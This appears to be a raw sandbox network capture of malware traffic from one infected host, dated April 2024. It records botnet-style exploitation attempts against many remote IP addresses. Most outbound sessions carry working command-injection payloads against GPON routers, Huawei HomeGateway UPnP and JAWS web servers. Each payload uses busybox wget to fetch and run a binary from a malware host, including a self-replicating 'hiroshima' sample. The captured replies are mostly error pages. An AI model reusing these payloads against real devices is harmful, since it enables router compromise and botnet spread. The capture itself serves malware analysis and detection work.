Session ID	Source IP	Source Port	Destination IP	Destination Port
2204	192.168.2.13	44982	5.81.25.76	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360883951 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2205	192.168.2.13	53458	109.81.224.104	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360937119 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2206	192.168.2.13	49992	210.54.81.56	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360940933 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2207	192.168.2.13	44902	118.218.239.41	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360965967 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2208	192.168.2.13	47968	118.226.50.245	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360991001 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2209	192.168.2.13	48650	5.242.89.75	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.361161947 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2210	192.168.2.13	46546	156.235.100.224	37215

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.398375988 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:01:49.384149075 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:01:50.536164999 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:01:53.000179052 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2211	192.168.2.13	48688	154.204.204.135	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.638566017 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 36 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:36Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2212	192.168.2.13	60778	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.672723055 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 35 31 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:51Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2213	192.168.2.13	46384	50.87.191.161	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:49.209096909 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:49.405826092 CEST	616	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 14 Apr 2024 02:01:49 GMT Server: Apache Location: https://127.0.0.1:80/shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Content-Length: 296 Keep-Alive: timeout=5, max=75 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 3a 38 30 2f 73 68 65 6c 6c 3f 63 64 2b 2f 74 6d 70 3b 72 6d 2b 2d 72 66 2b 2a 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 6a 61 77 73 3b 73 68 2b 2f 74 6d 70 2f 6a 61 77 73 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://127.0.0.1:80/shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2214	192.168.2.13	48880	154.204.204.135	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:49.309926033 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 37 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:37Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2215	192.168.2.13	40004	164.46.113.233	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:49.311682940 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:49.602452993 CEST	1289	IN	HTTP/1.1 403 Forbidden Date: Sun, 14 Apr 2024 02:01:49 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Mon, 23 Mar 2020 06:02:46 GMT ETag: "434-5a17f6251cd80" Accept-Ranges: bytes Content-Length: 1076 Keep-Alive: timeout=2, max=300 Connection: Keep-Alive Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 20 e3 82 a2 e3 82 af e3 82 bb e3 82 b9 e3 81 8c e7 a6 81 e6 ad a2 e3 81 95 e3 82 8c e3 81 a6 e3 81 84 e3 81 be e3 81 99 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 7a 65 6e 6c 6f 67 69 63 5f 70 61 67 65 73 2f 63 73 73 2f 64 65 66 61 75 6c 74 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 63 6f 74 6e 65 6e 74 73 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 73 2d 69 6e 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 64 65 2d 62 6c 6f 63 6b 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 31 3e 34 30 33 3c 2f 68 31 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 3e 45 52 52 4f 52 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 6d 65 73 73 61 67 65 2d 68 65 61 64 69 6e 67 22 3e e6 8c 87 e5 ae 9a e3 81 95 e3 82 8c e3 81 9f e3 83 9a e3 83 bc e3 82 b8 e3 81 be e3 81 9f e3 81 af e3 83 95 e3 82 a1 e3 82 a4 e3 83 ab e3 81 b8 e3 81 ae e3 82 a2 e3 82 af e3 82 bb e3 82 b9 e3 81 8c e7 a6 81 e6 ad a2 e3 81 95 e3 82 8c e3 81 a6 e3 81 84 e3 81 be 